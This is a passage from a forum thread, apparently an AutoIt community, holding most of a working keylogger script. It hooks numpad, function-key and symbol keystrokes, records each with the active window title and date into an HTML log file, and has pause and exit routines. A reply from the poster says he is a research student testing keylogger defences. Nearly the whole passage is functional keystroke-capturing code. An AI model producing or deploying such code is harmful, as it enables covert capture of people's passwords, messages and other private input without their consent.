    HotKeySet ("{NUMPADMULT}" , "_numPadMult")
EndFunc

Func _numPadAdd()
    HotKeySet ("{NUMPADADD}")
    send("{NUMPADADD}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPADADD </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPADADD}" , "_numPadAdd")
EndFunc

Func _numPadSub()
    HotKeySet ("{NUMPADSUB}")
    send("{NUMPADSUB}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPADSUB </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPADSUB}" , "_numPadSub")
EndFunc

Func _numPadDiv()
    HotKeySet ("{NUMPADDIV}")
    send("{NUMPADDIV}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPADDIV </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPADDIV}" , "_numPadDiv")
EndFunc

Func _numPadDot()
    HotKeySet ("{NUMPADDOT}")
    send("{NUMPADDOT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPADDOT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPADDOT}" , "_numPadDot")
EndFunc

Func _numPadEnter()
    HotKeySet ("{NUMPADENTER}")
    send("{NUMPADENTER}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> NUMPADENTER </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{NUMPADENTER}" , "_numPadEnter")
EndFunc
#cs
Func _lAlt()
    HotKeySet ("{LALT}")
    send("{LALT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> LALT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{LALT}" , "_lAlt")
EndFunc

Func _rAlt()
    HotKeySet ("{RALT}")
    send("{RALT}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> RALT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{RALT}" , "_rAlt")
EndFunc

Func _lCtrl()
    HotKeySet ("{LCTRL}")
    send("{LCTRL}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> LCTRL </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{LCTRL}" , "_lCtrl")
EndFunc

Func _rCtrl()
    HotKeySet ("{RCTRL}")
    send("{RCTRL}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> RCTRL </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{RCTRL}" , "_rCtrl")
EndFunc

Func _ShiftIn()
    HotKeySet ("{ASC 015}")
    send("{ASC 015}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> SHIFT IN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 015}" , "_ShiftIn")
EndFunc

Func _ShiftOut()
    HotKeySet ("{ASC 014}")
    send("{ASC 014}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> SHIFT OUT </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 014}" , "_ShiftOut")
EndFunc

Func _sleep()
    HotKeySet ("{SLEEP}")
    send("{SLEEP}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> SLEEP </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{SLEEP}" , "_sleep")
EndFunc

Func _altDown()
    HotKeySet ("{ALTDOWN}")
    send("{ALTDOWN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ALTDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ALTDOWN}" , "_altDown")
EndFunc

Func _cntrlDown()
    HotKeySet ("{CTRLDOWN}")
    send("{CTRLDOWN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> CTRLDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{CTRLDOWN}" , "_cntrlDown")
EndFunc

Func _lWinDown()
    HotKeySet ("{LWINDOWN}")
    send("{LWINDOWN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> LWINDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{LWINDOWN}" , "_lWinDown")
EndFunc

Func _rWinDown()
    HotKeySet ("{RWINDOWN}")
    send("{RWINDOWN}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> RWINDOWN </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{RWINDOWN}" , "_rWinDown")
EndFunc
#ce

;function keys
Func _f1()
    HotKeySet ("{F1}")
    send("{F1}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F1 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F1}" , "_f1")
EndFunc

Func _f2()
    HotKeySet ("{F2}")
    send("{F2}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F2 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F2}" , "_f2")
EndFunc

Func _f3()
    HotKeySet ("{F3}")
    send("{F3}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F3 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F3}" , "_f3")
EndFunc

Func _f4()
    HotKeySet ("{F4}")
    send("{F4}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F4 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F4}" , "_f4")
EndFunc

Func _f5()
    HotKeySet ("{F5}")
    send("{F5}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F5 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F5}" , "_f5")
EndFunc

Func _f6()
    HotKeySet ("{F6}")
    send("{F6}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F6 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F6}" , "_f6")
EndFunc

Func _f7()
    HotKeySet ("{F7}")
    send("{F7}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F7 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F7}" , "_f7")
EndFunc

Func _f8()
    HotKeySet ("{F8}")
    send("{F8}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F8 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F8}" , "_f8")
EndFunc

Func _f9()
    HotKeySet ("{F9}")
    send("{F9}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F9 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F9}" , "_f9")
EndFunc

Func _f10()
    HotKeySet ("{F10}")
    send("{F10}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F10 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F10}" , "_f10")
EndFunc

Func _f11()
    HotKeySet ("{F11}")
    send("{F11}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F11 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F11}" , "_f11")
EndFunc

Func _f12()
    HotKeySet ("{F12}")
    send("{F12}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> F12 </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{F12}" , "_f12")
EndFunc

;symbols

Func _sExclam()
    HotKeySet ("{ASC 033}")
    send("{ASC 033}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ! </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 033}" , "_sExclam")
EndFunc

Func _sHash()
    HotKeySet ("{ASC 035}")
    send("{ASC 035}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> # </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 035}" , "_sHash")
EndFunc

Func _sPlus()
    HotKeySet ("{ASC 043}")
    send("{ASC 043}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> + </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 043}" , "_sPlus")
EndFunc

Func _sUpS()
    HotKeySet ("{ASC 136}")
    send("{ASC 136}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ^ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 136}" , "_sUpS")
EndFunc

Func _sCurlR()
    HotKeySet ("{ASC 123}")
    send("{ASC 123}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> { </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 123}" , "_sCurlR")
EndFunc

Func _sCurlL()
    HotKeySet ("{ASC 125}")
    send("{ASC 125}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> } </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 125}" , "_sCurlL")
EndFunc

Func _sAt()
    HotKeySet ("{ASC 064}")
    send("{ASC 064}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> @ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 064}" , "_sAt")
EndFunc

Func _sSpeech()
    HotKeySet ("{ASC 034}")
    send("{ASC 034}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> '' </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 034}" , "_sSpeech")
EndFunc

Func _sDollar()
    HotKeySet ("{ASC 036}")
    send("{ASC 036}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> $ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 036}" , "_sDollar")
EndFunc

Func _sPercent()
    HotKeySet ("{ASC 037}")
    send("{ASC 037}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> % </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 037}" , "_sPercent")
EndFunc

Func _sAnd()
    HotKeySet ("{ASC 038}")
    send("{ASC 038}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> & </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 038}" , "_sAnd")
EndFunc

Func _sSingleSpeech()
    HotKeySet ("{ASC 039}")
    send("{ASC 039}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ' </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 039}" , "_sSingleSpeech")
EndFunc

Func _sBracketR()
    HotKeySet ("{ASC 040}")
    send("{ASC 040}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ( </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 040}" , "_sBracketR")
EndFunc

Func _sBracketL()
    HotKeySet ("{ASC 041}")
    send("{ASC 041}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ) </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 041}" , "_sBracketL")
EndFunc

Func _sColon()
    HotKeySet ("{ASC 058}")
    send("{ASC 058}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> : </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 058}" , "_sColon")
EndFunc

Func _sSemiColon()
    HotKeySet ("{ASC 059}")
    send("{ASC 059}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ; </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 059}" , "_sSemiColon")
EndFunc

Func _sSquareBracketR()
    HotKeySet ("{ASC 091}")
    send("{ASC 091}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> [ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 091}" , "_sSquareBracketR")
EndFunc

Func _sComma()
    HotKeySet ("{ASC 044}")
    send("{ASC 044}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> , </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 044}" , "_sComma")
EndFunc

Func _sTriangleBracketR()
    HotKeySet ("{ASC 060}")
    send("{ASC 060}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> < </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 060}" , "_sTriangleBracketR")
EndFunc

Func _sBackSlash()
    HotKeySet ("{ASC 092}")
    send("{ASC 092}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> \ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 092}" , "_sBackSlash")
EndFunc

Func _sLine()
    HotKeySet ("{ASC 124}")
    send("{ASC 124}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> | </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 124}" , "_sLine")
EndFunc

Func _sDash()
    HotKeySet ("{ASC 045}")
    send("{ASC 045}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> - </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 045}" , "_sDash")
EndFunc

Func _sEquals()
    HotKeySet ("{ASC 061}")
    send("{ASC 061}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> = </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 061}" , "_sEquals")
EndFunc

Func _sSquareBracketL()
    HotKeySet ("{ASC 093}")
    send("{ASC 093}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ] </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 093}" , "_sSquareBracketL")
EndFunc

Func _sFullStop()
    HotKeySet ("{ASC 046}")
    send("{ASC 046}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> . </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 046}" , "_sFullStop")
EndFunc

Func _sTriangleBracketL()
    HotKeySet ("{ASC 062}")
    send("{ASC 062}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> > </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 062}" , "_sTriangleBracketL")
EndFunc

Func _sTilde()
    HotKeySet ("{ASC 126}")
    send("{ASC 126}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ~ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 126}" , "_sTilde")
EndFunc

Func _sForwardSlash()
    HotKeySet ("{ASC 047}")
    send("{ASC 047}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> / </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 047}" , "_sForwardSlash")
EndFunc

Func _sQuestionMark()
    HotKeySet ("{ASC 063}")
    send("{ASC 063}")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> ? </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 063}" , "_sQuestionMark")
EndFunc

Func _sUnderScore()
    HotKeySet ("{ASC 095}")
    send("{ASC 095}")
    MsgBox(4096,"","This is a message.")
    $window=wingettitle("")
    $log = $log & "<tr><td align=center> _ </td><td align=center>" & $window & "</td><td>" & $date & "</tr>"
    HotKeySet ("{ASC 095}" , "_sUnderScore")
EndFunc

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;html document writing part
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

Func writeToLog()
    ;write to file the desired text
    filewrite($textFileDirectory,$log)
    ;ToolTip('Logged keys saved to file',0,0)
EndFunc

Func writeToLogHeader($header)
    ;write to file the desired text
    filewrite($textFileDirectory,$header)
    ;ToolTip('Logged keys saved to file',0,0)
EndFunc

;Function to pause script
Func pauseOnOff()
    $paused = NOT $paused
    While $paused
        sleep(100)
        ToolTip('Script currently Paused',0,0)
    WEnd
EndFunc

;Exits program
Func killProcess()
    MsgBox(0,"Exit script", "The keylogger has been exited the captured text can be found @" & $currentDirectory)
    writeToLog()
    ; Exit script
    Exit 0
EndFunc

;display messagebox
Func ShowMessage()
    MsgBox(4096,"","This is a message.")
EndFunc
Link to comment
Share on other sites

I explicitly stated in my post im a research student wishing to make a clearly open and none malicious key logger so that i can test various methods of keylogger preventions. I'd say its an honourable cause against keyloggers. I'm not some 14 year old looking to be the cool kid in the class im a third year degree student trying to ask for some help on something i've written myself (albeit very primatively)

Edited by Garbit
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...